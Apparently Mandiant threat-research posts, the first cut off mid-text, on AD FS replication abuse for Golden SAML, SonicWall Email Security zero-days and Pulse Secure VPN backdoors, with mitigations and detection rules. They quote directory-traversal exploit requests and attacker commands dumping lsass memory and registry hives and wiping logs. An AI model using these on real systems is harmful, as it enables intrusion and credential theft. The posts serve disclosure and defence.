organizations to provide single sign-on functionality to access enterprise applications such as Microsoft 365. In technical terms, AD FS functions as an Identity Provider (IdP) and Microsoft 365 is a Service Provider (SP). We’ll use Microsoft 365 as an example going forward, but this technique could apply to any service that is set up to trust AD FS. AD FS verifies a user’s identity and issues assertions that describe the user. Microsoft 365  trusts AD FS to verify user identities and provide it with assertions. To Microsoft 365, it doesn’t matter how AD FS performed the verification, it just needs the assertions. In the typical deployment (Figure 1), AD FS will verify a user’s identity using Active Directory. At a minimum, an AD FS deployment consists of two servers in an enterprise’s on-premises network: the primary AD FS server, and an AD FS Web Application Proxy (WAP). The proxy is placed in the DMZ and has no functionality besides proxying sign-on attempts from the Internet to the AD FS server. The primary AD FS server receives proxied requests, verifies a user’s identity, and issues assertions that are packaged into SAML security tokens for the user. Figure 1: Typical AD FS deployment (source: Microsoft) The SAML token issued by AD FS proves a user’s identity to Microsoft 365 and can also be used to make authorization decisions. The SAML token is an XML document with two main components: Assertions: Assertions are XML elements that describe the user’s identity. An assertion could be a user SID, group membership SIDs, or other elements like the user’s department name. A single SAML token can have multiple assertions attached to it. Digital Signature: The assertions in the SAML token are digitally signed using a public/private keypair that resides on the AD FS server. This is called the Token Signing Certificate. The Token Signing Certificate is the bedrock of security in AD FS. Microsoft 365 uses the digital signature to validate that the SAML token is authentic, valid, and comes from an AD FS server that it trusts. To enable this verification, an administrator shares the public component of the Token Signing Certificate with Microsoft 365. This is then used to cryptographically verify the digital signature in the SAML token and prove authenticity as well as integrity of the token. In other words, if a threat actor got hold of a Token Signing Certificate, they could generate arbitrary SAML tokens to access any federated application, as any user, and even bypass MFA. Golden SAML Golden SAML was coined in 2017 by CyberArk to describe the technique of forging SAML tokens to access SPs given a valid Token Signing Certificate. At TROOPERS 19, I detailed how a threat actor could extract the Token Signing Certificate from an AD FS server, as well as some mitigation strategies for defenders. In a default AD FS configuration, the Token Signing Certificate is stored within a Windows Internal Database (WID) instance that is running on the AD FS server. WID is more or less MS SQL Express, except the database can only be accessed locally over a special named pipe connection. In AD FS, the database is further locked down to only the AD FS service account. The Token Signing Certificate is stored in an encrypted state in the IdentityServerPolicy.ServiceStateSummary table. Figure 2 contains a single row with a column that stores all the settings that AD FS will need on service start as an XML document. <SigningToken>             <IsChainIncluded>false</IsChainIncluded>             <IsChainIncludedSpecified>false</IsChainIncludedSpecified>             <FindValue>99FABAEE46A09CD9B34B9510AB10E2B0C0ACB99B</FindValue>             <RawCertificate></RawCertificate>             <EncryptedPfx></EncryptedPfx>             <StoreNameValue>My</StoreNameValue>             <StoreLocationValue>CurrentUser</StoreLocationValue>             <X509FindTypeValue>FindByThumbprint</X509FindTypeValue>         </SigningToken> Figure 2: Example Token Signing Certificate stored in the AD FS database The Token Signing Certificate as it is stored in the AD FS database is encrypted using symmetric key encryption. Windows uses a technology called Distributed Key Management (DKM) to store the secret value used to derive the symmetric key in an Active Directory container. The AD FS service account can read the attributes of this container, derive the symmetric key, and then decrypt the Token Signing Certificate. AD FS Replication AD FS also supports a farm configuration for high availability and load balancing in larger enterprise networks. The individual AD FS servers in a farm can be configured to use unique Token Signing Certificates; however, the default is to have the servers share the same Token Signing Certificate.  In order to stay in sync with each other, the farm will have a primary node and secondary nodes. The secondary nodes make use of a replication service to acquire configuration settings and certificates from the primary AD FS server. To facilitate this, AD FS makes use of Windows Communication Foundation (WCF). WCF is a framework that allows developers to build service-oriented applications. A WCF application has two components: the service that will receive and process messages, and the client that sends messages to a service and receives back responses. The AD FS servers run a WCF service that is called the Policy Store Transfer Service internally. To send a message to this service, the client will connect to the URL http://<adfs server name>:80/adfs/services/policystoretransfer. Note that even though the channel is over HTTP, the actual data being exchanged is encrypted during transit. It is also key to understand that although there is a single primary AD FS server, all nodes in an AD FS farm run this WCF service and can be used for replication. Upon receipt of a message, the WCF service enforces an authorization check to ensure the calling identity is permitted to receive the requested information. The permission check is done by evaluating an authorization policy that is also stored in the IdentityServerPolicy.ServiceStateSummary table of the AD FS database. The policy permits identities whose primary SID matches the AD FS Service account or to any identity that is member of the AD FS server’s local administrators group. If the identity of the client passes the authorization check, then the WCF service will send back a message containing the requested information.    <AuthorizationPolicy>    @RuleName = “Permit Service Account”exists([Type ==     “http://schemas.microsoft.com/ws/2008/06/identity/claims/     primarysid”, Value == “S-1-5-21-3508695881-2242692613     -376241919-1107”]) => issue(Type = “http://schemas     .microsoft.com/authorization/claims/permit”, Value = “     true”);    @RuleName = “Permit Local Administrators”exists([Type ==    “http://schemas.microsoft.com/ws/2008/06/identity/claims/group    sid”, Value == “S-1-5-32-544”])=> issue(Type = &quot    ;http://schemas.microsoft.com/authorization/claims/permit”, Value     = “true”);    </AuthorizationPolicy> Figure 3: Default Authorization Policy for AD FS server Room for Abuse A threat actor can abuse the Policy Store Transfer Service to acquire the encrypted Token Signing Certificate over the network, similar to the DCSync technique for Active Directory. It is important to note that the data is still encrypted and requires the DKM key stored in Active Directory to decrypt. This technique, however, requires a significant change to how defenders have secured AD FS servers and monitored them for theft of the Token Signing Certificate. First, previous techniques required code execution on an AD FS server to extract the data or at least an SMB connection to transfer the backing database files. With a strong defense in depth program using secure credential management, EDR, and network segmentation, an enterprise can make it very difficult for a threat actor to access an AD FS server and the Token Signing Certificate. Abusing the AD FS Replication service, however, requires only access to the AD FS server over the standard HTTP port. The default installation of AD FS will even create a Windows Firewall rule to allow HTTP traffic from any system. Additionally, a threat actor does not need the credentials for the AD FS service account and can instead use any account that is a local administrator on an AD FS server. Lastly, there is no Event Log message that is recorded when a replication event occurs on an AD FS server. Altogether, this makes the technique both much easier to execute and much harder to detect. The authorization policy itself also presents an opportunity for abuse. Because the authorization policy is stored as XML text in the configuration database, a threat actor with enough access could modify it to be more permissive. A threat actor could modify the Authorization Policy to include a group SID such as domain users, S-1-5-21-X-513. Similarly, they could add an ACE to the DKM key container in Active Directory. This would allow the threat actor to easily obtain the Token Signing Certificate and decrypt it using any domain user credentials. This would give them persistent ability to perform a Golden SAML attack with only access to the network as a requirement. Mandiant has not yet observed this technique used in the wild; however, it is trivial to write a POC for and we are aware of one public tool that will soon support it. Figure 4 shows the output of POC code written in .NET to extract the Token Signing Certificate from a remote AD FS server. Figure 4: POC code output Mitigations The best mitigation against this technique is to use the Windows Firewall to restrict access to port 80 TCP to only the AD FS servers in the farm. If an organization has only a single AD FS server, then port 80 TCP can be blocked completely. This block can be put in place because all traffic to and from AD FS servers and proxies for user authentication is over port 443 TCP.   To limit inbound communications, modify the existing firewall rule that AD FS inserts on installation. Set-NetFirewallRule -DisplayName “AD FS HTTP Services (TCP-In)” -RemoteAddress <ADFS1 IP address>,<ADFS2 IP Address> If no rule exists, the scriptlet in Figure 5 should be applied to all ADFS servers to create one. New-NetFirewallRule -DisplayName “Allow ADFS Servers TCP 80″ -Direction Inbound -Action Allow  -Protocol TCP -LocalPort 80 -RemoteAddress <ADFS1 IPAddress >,<ADFS2 IPAddress> Figure 5: Windows Firewall – Allow ADFS Server – TCP 80 Organizations that are monitoring the internal network can alert on HTTP POST requests to the address that hosts the Policy Store Transfer service. If there is an AD FS farm, then the IP addresses of the AD FS servers will need to be whitelisted against the rule. Figure 6 shows a sample Snort rule to detect this activity. alert tcp any any -> any 80 (msg:”AD FS Replication”; flow:established, to_server; content:”POST”; http_method; content:”adfs/services/policystoretransfer”; http_uri; threshold:type limit,track by_src,count 1,seconds 3600; priority:3; sid:7000000; rev:1;) Figure 6: Sample snort rule Acknowledgements Mandiant would like to acknowledge the great work of Dr. Nestori Syynimaa (@DrAzureAD). Dr. Syynimaa independently thought to research the replication of configuration information between AD FS servers and has published his findings on his blog. Mandiant would also like to thank Microsoft for their collaboration on mitigations and detections for this technique. Lastly, special thanks to Mike Burns of the Mandiant Security Transformation services team for his feedback on mitigations and detections.

  • Zero-Day Exploits in SonicWall Email Security Lead to Enterprise Compromise
    by Josh Fleischer on April 20, 2021 at 9:00 pm

    In March 2021, Mandiant Managed Defense identified three zero-day vulnerabilities in SonicWall’s Email Security (ES) product that were being exploited in the wild. These vulnerabilities were executed in conjunction to obtain administrative access and code execution on a SonicWall ES device. The adversary leveraged these vulnerabilities, with intimate knowledge of the SonicWall application, to install a backdoor, access files and emails, and move laterally into the victim organization’s network. The vulnerabilities are being tracked in the following CVEs: CVE-2021-20021 9.8 Unauthorized administrative account creation CVE-2021-20022 7.2 Post-authentication arbitrary file upload CVE-2021-20023 4.9 Post-authentication arbitrary file read Mandiant has been coordinating with the SonicWall Product Security and Incident Response Team (PSIRT) for the responsible disclosure of this information. SonicWall advises all customers and partners to upgrade to the 10.0.9.6173 Hotfix for Windows users, and the 10.0.9.6177 Hotfix for hardware and ESXi virtual appliance users. SonicWall Hosted Email Security product was automatically updated for all customers and no additional action is required for patching purposes. The hotfixes will also be superseded by the upcoming SonicWall ES 10.0.10 release. More information can be found by visiting the KB article published by SonicWall. All patches, upgrades, and hotfixes are available to download on the MySonicWall site. Overview Figure 1: SonicWall Email Security ecosystem overview (via SonicWall) SonicWall Email Security (ES) is an email security solution that “provides comprehensive inbound and outbound protection, and defends against advanced email-borne threats such as ransomware, zero-day threats, spear phishing and business email compromise (BEC).” The solution can be deployed as a physical appliance, virtual appliance, software installation, or a hosted SaaS solution. Figure 2: Sample SonicWall Email Security login page Like many appliances, the solution provides a rich, web-accessible administrative interface that serves as the main avenue for product configuration. Depending on the customer’s deployment method, this software is potentially capable of running under Windows or Unix because it heavily leverages OS-independent Apache Tomcat and Java. While the solution doesn’t require that this interface be exposed to the internet, internet-wide scanning shows approximately 700 publicly reachable interfaces. Investigation In March 2021, Mandiant Managed Defense identified post-exploitation web shell activity on an internet-accessible system within a customer’s environment. Managed Defense isolated the system and collected evidence to determine how the system was compromised. The system was quickly identified as a SonicWall Email Security (ES) application running on a standard Windows Server 2012 installation. The adversary-installed web shell was being served through the HTTPS-enabled Apache Tomcat web server bundled with SonicWall ES. Due to the web shell being served in the application’s bundled web server, we immediately suspected the compromise was associated with the SonicWall ES application itself. When we contacted the customer, we learned that the installation of SonicWall ES was the latest version available for download (10.0.9) and that there was no publicly available information pertaining to vulnerabilities or in-the-wild exploitation. To determine if a potential application-level vulnerability was exploited to install the web shell, Mandiant collected endpoint telemetry data. We soon identified post-exploitation activity aimed at destroying evidence on the system, executed in the context of the web shell. The adversary executed the following command, shortly after installing the web shell: cmd.exe /c “echo “” > “C:/Program Files (x86)/SonicWallES/logs/webUI/webui.json Figure 3: The Adversary clearing existing entries in the current “webui.json” log This command deleted the most recent application-level log entries recorded by the SonicWall ES web application. While clearing log files is a standard anti-forensics technique, understanding the location of internal log files generated by applications is usually overlooked by most spray-and-pray attackers. This added fuel to our suspicion that we were dealing with an adversary who had intimate knowledge of how the SonicWall ES application worked. Fortunately for us, additional log files and a previously created virtual server snapshot provided enough evidence to track down the vulnerabilities and the adversary’s activities on the host. Vulnerabilities CVE-2021-20021 Unauthenticated administrative access through improperly secured API endpoint The SonicWall Email Security application contains an authenticated control panel to provide administration capabilities. One feature available allows application administrators to authorize an additional administrator account from a separate Microsoft Active Directory Organization Unit (AD OU). https://<SonicWall ES host>/createou?data=<XML HERE> Figure 4: A redacted example of the vulnerable endpoint associated with arbitrary user creation Requests to this form, however, were not verified to require previous authentication to the appliance. Due to this vulnerability, an adversary with a well-crafted XML document could either GET or POST their document to the application and create a “role.ouadmin” account (Figure 4). This account could then be used to authenticate to the application as an administrator. CVE-2021-20022 Arbitrary file upload through post-authenticated “branding” feature Like many enterprise products with a web-based user interface, SonicWall Email Security includes a feature known as “branding” which gives administrators the ability to customize and add certain assets to the interface, such as company logos. These branding assets are managed via packages, and new packages can be created by uploading ZIP archives containing custom text, image files, and layout settings. A lack of file validation can enable an adversary to upload arbitrary files, including executable code, such as web shells. Once uploaded, these branding package ZIP archives are normally expanded and saved to the <SonicWall ES install path>\data\branding directory. However, an adversary could place malicious files in arbitrary locations, such as a web accessible Apache Tomcat directory, by crafting a ZIP archive containing a file within a sequence of directory traversal notations such as in Figure 5. Figure 5: Example ZIP archive containing a Zip Slip web shell It is important to note that the lack of validation which enables Zip Slip attacks is not unique to SonicWall Email Security. As detailed in Snyk’s research on the topic, they exist within the many code libraries from which applications have been built. CVE-2021-20023 Directory-traversal leads to arbitrary file read in post-authenticated “branding” feature Mandiant confirmed another post-authentication vulnerability in the administrative panel’s built-in “branding” feature which allowed an adversary to retrieve arbitrary files from the host by sending crafted HTTP GET requests to a particular resource. Figure 6 demonstrates the formatting of such request. https://<SonicWall ES host>/dload_apps?action=<any value>&path=..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fcalc.exe&id=update Figure 6: An example web request which results in downloading the Windows calculator While the working directory of this branding feature is <SonicWall ES install path>\data\updates, a directory-traversal vulnerability allows an adversary to access files located outside of this directory. As the Apache Tomcat webserver handling this request is operating as the NT AUTHORITY\SYSTEM account, any file on the operating system can be accessed. Combinations of all three exploits were leveraged interchangeably by the adversary to perform the following actions: Creation of a new Administrator account on the SonicWall ES device Exposure of the hashed passwords for existing, locally configured Administrative accounts The creation of a web shell in an arbitrary directory Real-time debugging of exploitation success and failure Post-Exploitation Upon obtaining administrative access to the appliance through CVE-2021-20021, an adversary sent crafted HTTP requests to the resource /dload_apps, a component of the application’s “branding” feature, exploiting CVE-2021-20023. These requests leveraged directory traversal attacks, enabling access to two sensitive XML configuration files located at <SonicWall ES install path>\data\multi_accounts.xml and <SonicWall ES install path>\data\multi_ldap.xml, respectively (Figure 7). GET /dload_apps?action=REDACTED&path=..%2Fmulti_accounts.xml&id=update GET /dload_apps?action=REDACTED&path=..%2Fmulti_ldap.xml&id=update Figure 7: HTTP GET requests exploiting CVE-2021-20023 These files contained details about existing accounts as well as Active Directory credentials used by the application. Next, the adversary uploaded a ZIP archive containing the BEHINDER JSP web shell from the administrative panel’s “branding” page. The crafted ZIP archive used a Zip Slip attack to exploit CVE-2021-20022, which caused the web shell to be written to the web-accessible Apache Tomcat directory <SonicWall ES install path>\Apache Software Foundation\Tomcat 9.0\webapps\SearchEngineRMIService\. BEHINDER is a publicly available, multi-platform web shell that accepts encrypted command and control (C2) communications. In principle, BEHINDER operates similarly to CHINA CHOPPER, a popular web shell that has been previously detailed by FireEye. Like CHINA CHOPPER, an adversary operates a client-side application to pass commands to the web shell within the body of HTTP requests. As the core functionality of the backdoor is contained within the client-side application, BEHINDER—much like CHINA CHOPPER—has the added benefit of being small, with the variant observed in this investigation weighing in at less than 1 kilobyte (Figure 8). Figure 8: The BEHINDER web shell observed by Mandiant, which executes AES encrypted and base64 encoded commands With the addition of a web shell to the server, the adversary had unrestricted access to the command prompt, with the inherited permissions of the NT AUTHORITY\SYSTEM account. After clearing the SonicWall application “webui.json” log file, the adversary escalated their attack to credential harvesting in preparation of moving laterally into the victim’s network. The adversary relied on “living off the land” techniques rather than bringing their own tools into the environment, which often has the benefit of potentially avoiding detections from a security product. We observed the adversary executing the reg save command to dump the HKLM\SAM, HKLM\SYSTEM, and HKLM\SECURITY registry hives, which contain vital information in recovering password hashes and LSA secrets. Additionally, the adversary obtained in-memory sensitive credentials through the use of built-in memory dumping techniques. The adversary was observed invoking the MiniDump export of the Windows DLL comsvcs.dll to dump both the process memory for lsass.exe and the running instance of Apache Tomcat as seen in Figure 9. rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump <lsass PID> c:\windows\temp\TS_LAS.dmp full rundll32.exe C:\windows\system32\comsvcs.dll MiniDump <Tomcat PID> C:\windows\temp\TS_FF9DG.dmp full Figure 9: The adversary acquiring process memory for lsass.exe (MITRE ATT&CK T1003.001) and Apache Tomcat Mandiant typically observes adversaries employing short and easy-to-type filenames during their operations, simply for efficiency. As such, the aforementioned filenames initially stood out as being peculiar, as a mix of case and symbols would require more effort to type than is often necessary. While this could always be indicative of a tool being used, the slight variations between the two commands—the absence of a comma before the DLL export and the uppercase C:\ drive in the second—suggest that they were manually typed. Considering that the C:\Windows\Temp\ directory on a Windows host also normally contains numerous similarly named temporary files, the adversary was likely taking extra care to evade suspicion should the activity reach the screen of a security analyst. Continuing their effort to live off the land as much as possible, the adversary located a copy of the archiving utility 7-Zip already present on the host and used it to compress a subdirectory of <SonicWall ES install path>\data\archive\. This directory contains daily archives of emails processed by SonicWall ES—again demonstrating the adversary’s familiarity with the application. After a several-day lull in activity, the adversary returned to the host, presumably after working to recover passwords from the registry hives and process memory that was dumped earlier. At the time of activity, the victim organization was using the same local Administrator password across multiple hosts in their domain, which provided the adversary an easy opportunity to move laterally under the context of this account—highlighting the value of randomizing passwords to built-in Windows accounts on each host within a domain. We observed the adversary leveraging Impacket’s publicly available WMIEXEC.PY tool to access several internal hosts, which enabled remote command execution over Microsoft’s DCOM protocol via Windows Management Instrumentation (WMI). The adversary managed to briefly perform internal reconnaissance activity prior to being isolated and removed from the environment. Attribution Mandiant currently tracks this activity as UNC2682. Ultimately, Mandiant prevented UNC2682 from completing their mission so their objectives of the attack currently remain unknown. Each investigation conducted by Mandiant includes analysts from our Advanced Practices team who work to correlate activity observed in the thousands of investigations that Mandiant responds to. At times, we do not have the data available to directly attribute intrusion activity to a previously known group. In these cases, we create a new UNC group to track the activity that we observed. An UNC group is a cluster of related cyber intrusion activity, which includes observable artifacts such as adversary infrastructure, tools, and tradecraft, that we are not yet ready to give a classification such as APT or FIN. For more details on how Mandiant uses UNC groups, see our blog post: DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors. Investigation & Monitoring Tips Mandiant recommends monitoring of the following endpoint telemetry indicators for potential evidence of compromise: Child processes of the web server process “tomcat” on SonicWall Email Security appliances, particularly cmd.exe The creation or existence of web shells on a server hosting SonicWall Email Security In addition to standard indicators, Mandiant recommends reviewing SonicWall-related internal configuration files and logs for evidence of previous adversary activity. Evidence of malicious web requests and their values may be identifiable in the following log files: The Apache Tomcat logs:C:\Program Files\SonicWallES\Apache Software Foundation\Tomcat 9.0\logs The SonicWall application logs:C:\Program Files\SonicWallES\logs\webUI\webui.json Evidence of unauthorized modifications to SonicWall configuration settings can be confirmed in the following files: The administration user account file: C:\Program Files\SonicWallES\data\multi_accounts.xml Additional user account files that may have been created in the following directories: C:\Program Files\SonicWallES\data\perhost C:\Program Files\SonicWallES\data\perldap C:\Program Files\SonicWallES\data\perou Branding related zip files in any of the subdirectories of the following directory: C:\Program Files\SonicWallES\data\branding Detecting the Techniques FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of SonicWall ES exploitation or post-exploitation activities associated with this adversary. Product Signature FireEye Endpoint Security RUNDLL32.EXE COMSVCS.DLL PROCESS MINIDUMP (METHODOLOGY) SUSPICIOUS REGISTRY EXPORTS (METHODOLOGY) WEB SERVER ECHO REDIRECT (METHODOLOGY) WEB SERVER CMD.EXE TYPE RECON (METHODOLOGY) FireEye Network Security FireEye Email Security FireEye Detection On Demand FireEye Malware File Scanning FireEye Malware File Storage Scanning FE_PUP_Exploit_Linux_ZipSlip_1 FE_Exploit_Win_ZipSlip_1 FE_Trojan_ZIP_Generic_1 FE_Webshell_JSP_BEHINDER_1 FEC_Webshell_JSP_BEHINDER_1 Webshell.JSP.BEHINDER Webshell.JSP.BEHINDER.MVX FireEye Helix METHODOLOGY – LFI [Null-Byte URI] WMIEXEC UTILITY [Args] WINDOWS METHODOLOGY [Unusual Web Server Child Process] Additionally, SonicWall has deployed Intrusion Prevention System (IPS) signatures to SonicWall firewalls to help detect and block attacks that attempt to leverage the aforementioned vulnerabilities. The following signatures have already been applied to SonicWall firewalls with active security subscriptions: IPS Signature: 15520 WEB-ATTACKS SonicWall Email Security (CVE-2021-20022 Vulnerability) IPS Signature: 1067 WEB-ATTACKS Web Application Directory Traversal Attack 7 IPS Signature: 15509 WEB-ATTACKS Web Application Directory Traversal Attack 7 -c2 Mandiant Security Validation Actions Organizations can validate their security controls using the following actions with Mandiant Security Validation. VID Name A101-563 Malicious File Transfer – BEHINDER, Download, Variant #1 A101-566 Web Shell Activity – BEHINDER, Basic Shell Interaction A101-564 Malicious File Transfer – Zip Slip, Download, EICAR Variant A101-565 Phishing Email – Malicious Attachment, Zip Slip, Generic Themed Lure Vulnerability Disclosure Mandiant disclosed the vulnerabilities CVE-2021-20021 and CVE-2021-20022 to SonicWall Product Security Incident Response Team (PSIRT) on March 26, 2021. The vulnerabilities were acknowledged and validated on March 29, 2021 and a hotfix became available on April 9, 2021. The patch was communicated to impacted SonicWall customers and partners on April 9, 2021.   Mandiant disclosed the vulnerability CVE-2021-20023 to SonicWall PSIRT on April 6, 2021. The vulnerability was acknowledged and validated on April 9, 2021 and a patch became available April 19. To mitigate the three CVEs, Mandiant and SonicWall recommend upgrading Email Security to version 10.0.9.6173 (Windows) or 10.0.9.6177 (Hardware & ESXi Virtual Appliances). Organizations using SonicWall Hosted Email Security (HES) products were automatically updated and no action is required for those customers. Acknowledgements SonicWall PSIRT, Charles Carmakal, Ben Fedore, Geoff Ackerman and Andrew Thompson.

  • Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day
    by Dan Perez on April 20, 2021 at 2:00 pm

    Executive Summary Mandiant recently responded to multiple security incidents involving compromises of Pulse Secure VPN appliances. This blog post examines multiple, related techniques for bypassing single and multifactor authentication on Pulse Secure VPN devices, persisting across upgrades, and maintaining access through webshells. The investigation by Pulse Secure has determined that a combination of prior vulnerabilities and a previously unknown vulnerability discovered in April 2021, CVE-2021-22893, are responsible for the initial infection vector. Pulse Secure’s parent company, Ivanti, released mitigations for a vulnerability exploited in relation to these malware families and the Pulse Connect Secure Integrity Tool for their customers to determine if their systems are impacted. A final patch to address the vulnerability will be available in early May 2021. Pulse Secure has been working closely with Mandiant, affected customers, government partners, and other forensic experts to address these issues. There is no indication the identified backdoors were introduced through a supply chain compromise of the company’s network or software deployment process. Introduction Mandiant is currently tracking 12 malware families associated with the exploitation of Pulse Secure VPN devices. These families are related to the circumvention of authentication and backdoor access to these devices, but they are not necessarily related to each other and have been observed in separate investigations. It is likely that multiple actors are responsible for the creation and deployment of these various code families. The focus of this report is on the activities of UNC2630 against U.S. Defense Industrial base (DIB) networks, but detailed malware analysis and detection methods for all samples observed at U.S. and European victim organizations are provided in the technical annex to assist network defenders in identifying a large range of malicious activity on affected appliances. Analysis is ongoing to determine the extent of the activity. Mandiant continues to collaborate with the Ivanti and Pulse Secure teams, Microsoft Threat Intelligence Center (MSTIC), and relevant government and law enforcement agencies to investigate the threat, as well as develop recommendations and mitigations for affected Pulse Secure VPN appliance owners. As part of their investigation, Ivanti has released mitigations for a vulnerability exploited in relation to this campaign as well as the Pulse Connect Secure Integrity Tool to assist with determining if systems have been impacted. Details Early this year, Mandiant investigated multiple intrusions at defense, government, and financial organizations around the world. In each intrusion, the earliest evidence of attacker activity traced back to DHCP IP address ranges belonging to Pulse Secure VPN appliances in the affected environment. In many cases, we were not able to determine how actors obtained administrator-level access to the appliances. However, based on analysis by Ivanti, we suspect some intrusions were due to the exploitation of previously disclosed Pulse Secure vulnerabilities from 2019 and 2020 while other intrusions were due to the exploitation of CVE-2021-22893. We observed UNC2630 harvesting credentials from various Pulse Secure VPN login flows, which ultimately allowed the actor to use legitimate account credentials to move laterally into the affected environments. In order to maintain persistence to the compromised networks, the actor utilized legitimate, but modified, Pulse Secure binaries and scripts on the VPN appliance. This was done to accomplish the following: Trojanize shared objects with malicious code to log credentials and bypass authentication flows, including multifactor authentication requirements. We track these trojanized assemblies as SLOWPULSE and its variants. Inject webshells we currently track as RADIALPULSE and PULSECHECK into legitimate Internet-accessible Pulse Secure VPN appliance administrative web pages for the devices. Toggle the filesystem between Read-Only and Read-Write modes to allow for file modification on a typically Read-Only filesystem. Maintain persistence across VPN appliance general upgrades that are performed by the administrator. Unpatch modified files and delete utilities and scripts after use to evade detection. Clear relevant log files utilizing a utility tracked as THINBLOOD based on an actor defined regular expression. In a separate incident in March 2021, we observed UNC2717 using RADIALPULSE, PULSEJUMP, and HARDPULSE at a European organization. Although we did not observe PULSEJUMP or HARDPULSE used by UNC2630 against U.S. DIB companies, these malware families have shared characteristics and serve similar purposes to other code families used by UNC2630. We also observed an OpenSSL library file modified in similar fashion as the other trojanized shared objects. We believe that the modified library file, which we’ve named LOCKPICK, could weaken encryption for communications used by the appliance, but do not have enough evidence to confirm this. Due to a lack of context and forensic evidence at this time, Mandiant cannot associate all the code families described in this report to UNC2630 or UNC2717. We also note the possibility that one or more related groups is responsible for the development and dissemination of these different tools across loosely connected APT actors. It is likely that additional groups beyond UNC2630 and UNC2717 have adopted one or more of these tools. Despite these gaps in our understanding, we included detailed analysis, detection techniques, and mitigations for all code families in the Technical Annex. SLOWPULSE During our investigation into the activities of UNC2630, we uncovered a novel malware family we labeled SLOWPULSE. This malware and its variants are applied as modifications to legitimate Pulse Secure files to bypass or log credentials in the authentication flows that exist within the legitimate Pulse Secure shared object libdsplibs.so. Three of the four discovered variants enable the attacker to bypass two-factor authentication. A brief overview of these variants is covered in this section, refer to the Technical Annex for more details. SLOWPULSE Variant 1 This variant is responsible for bypassing LDAP and RADIUS-2FA authentication routines if a secret backdoor password is provided by the attacker. The sample inspects login credentials used at the start of each protocol’s associated routine and strategically forces execution down the successful authentication patch if the provided password matches the attacker’s chosen backdoor password. LDAP Auth Bypass The routine DSAuth::LDAPAuthServer::authenticate begins the LDAP authentication procedure. This variant inserts a check against the backdoor password after the bind routine so that the return value can be conditionally stomped to spoof successful authentication. Figure 1: LDAP Auth Bypass RADIUS Two Factor Auth Bypass The routine DSAuth::RadiusAuthServer::checkUsernamePassword begins the RADIUS-2FA authentication procedure. This variant inserts checks against the backdoor password after the RADIUS authentication packet is received back from the authentication server. If the backdoor password is provided by the attacker, the packet type and successful authentication status flags are overwritten to spoof successful authentication. Figure 2: Radius-2FA Bypass SLOWPULSE Variant 2 ACE Two Factor Auth Credential Logging This variant logs credentials used during the ACE-2FA authentication procedure DSAuth::AceAuthServer::checkUsernamePassword. Rather than bypassing authentication, this variant logs the username and password to a file for later use by the attacker. Figure 3: ACE Auth Credential Log SLOWPULSE Variant 3 ACE Two Factor Auth Bypass This variant is responsible for bypassing the ACE-2FA logon procedure starting with DSAuth::AceAuthServer::checkUsernamePassword. The flow of the authentication procedure is modified to bypass the routine responsible for verifying the username and password if the backdoor password is provided. With this modification the attacker can spoof successful authentication. Figure 4: ACE Auth Bypass Variant SLOWPULSE Variant 4 RealmSignin Two Factor Auth Bypass This variant bypasses the RealmSignin::runSecondaryAuth procedure of the Pulse Secure VPN. The inserted logic modifies the execution flow of a specific step of the login process to spoof successful authentication. We believe that this may be a two-factor authentication bypass. Figure 5: RealmSignIn 2FA Auth Bypass Attribution We are in the early stages of gathering evidence and making attribution assessments and there are a number of gaps in our understanding of UNC2630, UNC2717, and these 12 code families. Nevertheless, the Mandiant and Ivanti teams are proactively releasing this analysis to assist network defenders in triaging and identifying malicious activity on affected appliances. Mandiant is able to assess that: UNC2630 targeted U.S. DIB companies with SLOWPULSE, RADIALPULSE, THINBLOOD, ATRIUM, PACEMAKER, SLIGHTPULSE, and PULSECHECK as early as August 2020 until March 2021.We suspect UNC2630 operates on behalf of the Chinese government and may have ties to APT5 UNC2717 targeted global government agencies between October 2020 and March 2021 using HARDPULSE, QUIETPULSE, AND PULSEJUMP.We do not have enough evidence about UNC2717 to determine government sponsorship or suspected affiliation with any known APT group. We do not have enough information about the use of LOCKPICK to make an attribution statement. UNC2630 UNC2630’s combination of infrastructure, tools, and on-network behavior appear to be unique, and we have not observed them during any other campaigns or at any other engagement. Despite these new tools and infrastructure, Mandiant analysts noted strong similarities to historic intrusions dating back to 2014 and 2015 and conducted by Chinese espionage actor APT5. We have also uncovered limited evidence to suggest that UNC2630 operates on behalf of the Chinese government. Analysis is still ongoing to determine the full scope of the activity that maybe related to the group. Although we are not able to definitively connect UNC2630 to APT5, or any other existing APT group, a trusted third party has uncovered evidence connecting this activity to historic campaigns which Mandiant tracks as Chinese espionage actor APT5. While we cannot make the same connections, the third party assessment is consistent with our understanding of APT5 and their historic TTPs and targets. APT5 has shown significant interest in compromising networking devices and manipulating the underlying software which supports these appliances. They have also consistently targeted defense and technology companies in the U.S., Europe, and Asia. As early as 2014, Mandiant Incident Response discovered APT5 making unauthorized code modifications to files in the embedded operating system of another technology platform. In 2015, APT5 compromised a U.S. telecommunications organization providing services and technologies for private and government entities. During this intrusion, the actors downloaded and modified some of the router images related to the company’s network routers. Also during this time, APT5 stole files related to military technology from a South Asian defense organization. Observed filenames suggest the actors were interested in product specifications, emails concerning technical products, procurement bids and proposals, and documents on unmanned aerial vehicles (UAVs). APT5 persistently targets high value corporate networks and often re-compromises networks over many years. Their primary targets appear to be aerospace and defense companies located in the U.S., Europe, and Asia. Secondary targets (used to facilitate access to their primary targets) include network appliance manufacturers and software companies usually located in the U.S. Recommendations All Pulse Secure Connect customers should assess the impact of the Pulse Secure mitigations and apply it if possible. Organizations should utilize the most recent version of Pulse Secure’s Integrity Assurance utility released on March 31, 2021. If a device fails this Integrity Assurance utility, network administrators should follow the instructions here and contact their Pulse CSR for additional guidance. Organizations should examine available forensic evidence to determine if an attacker compromised user credentials. Ivanti highly recommends resetting all passwords in the environment and reviewing the configuration to ensure no service accounts can be used to authenticate to the vulnerability. Additional detections, mitigations and relevant MITRE ATT&CK techniques are included in the Technical Annex. Sample hashes and analysis are included to enable defenders to quickly assess if their respective appliances have been affected. Yara rules, Snort rules, and hashes are published on Mandiant’s GitHub page. Detections and Mitigations 1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc HARDPULSE contains an embedded ‘recovery’ URL https://ive-host/dana-na/auth/recover[.]cgi?token=<varies> that may be accessed by an attacker. The sample uses the POST parameters checkcode, hashid, m, and filename. This URL is not present in legitimate versions of this file. 